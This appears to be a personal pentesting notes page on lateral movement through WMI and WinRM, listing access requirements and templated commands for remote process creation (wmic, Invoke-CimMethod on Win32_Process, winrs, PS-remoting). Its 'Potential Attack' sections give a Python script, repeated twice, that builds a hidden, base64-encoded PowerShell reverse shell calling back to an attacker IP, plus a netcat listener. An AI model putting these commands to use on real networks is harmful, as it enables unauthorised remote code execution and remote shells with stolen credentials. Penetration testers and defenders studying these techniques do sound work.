silver-xoxo

WMI & WINRM

3 min read

WMI

What does it do ? Creates a process on the remote machine via win32 class by using remote procedure commands on port 135 or any other higher port .

Requirements :

  • Local Admin access on target machine

WinRM

What does it do ? exchanges XML messages over HTTP and HTTPS , which tells instructs local system our command.

Requirements :

  • Local Administrator on target OR
  • Remote Management Users on target

Basic Attack Structure

WMI

Create a Process on Target Machine.

wmic /node:{{target-machine}} /user:{{local_Admin_user}} /password:{{password}} process call create "calc"

we can call a shell file also , or we can create a new process .

Creating objects For PowerShell command

$username = '{{user}}';
$password = '{{password}}';
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;
$options = New-CimSessionOption -Protocol DCOM
$session = New-Cimsession -ComputerName {{Target_IP}} -Credential $credential -SessionOption $Options 
$command = 'calc';

PowerShell command exploiting win32 class

Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$Command};

WinRM

Sending Instructions to target machine

winrs -r:{{target_name}} -u:{{user}} -p:{{password}}  "{{cmd}}"

Potential Attack

WMI

This python script will craft a PowerShell reverse shell one liner

import sys
import base64
 
payload = '$client = New-Object System.Net.Sockets.TCPClient("{{Attacker_IP}}",{{listener_Port}});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
 
cmd = "powershell -nop -w hidden -e " + base64.b64encode(payload.encode('utf16')[2:]).decode()
 
print(cmd)

Power Shell Command for WMI for reverse shell

$username = '{{local_admin_user}}';
$password = '{{account_password}}';
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;
 
$Options = New-CimSessionOption -Protocol DCOM
$Session = New-Cimsession -ComputerName {{target_ip}} -Credential $credential -SessionOption $Options
 
$Command = '{{Command}}';
 
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$Command};

Net-cat listener

nc -lnvp {{Port}}

WinRM

This python script will craft a PowerShell reverse shell one liner

import sys
import base64
 
payload = '$client = New-Object System.Net.Sockets.TCPClient("{{Attacker_IP}}",{{listener_Port}});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
 
cmd = "powershell -nop -w hidden -e " + base64.b64encode(payload.encode('utf16')[2:]).decode()
 
print(cmd)

Put a reverse shell in command from python script and execute

winrs -r:{{computer_name}} -u:{{user}} -p:{{password}}  "{{Command}}"

PS-remoting

$username = '{{user}}';
$password = '{{password}}';
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;
New-PSSession -ComputerName {{computer_IP}} -Credential $credential
Enter-PSSession 1

Graph View

Backlinks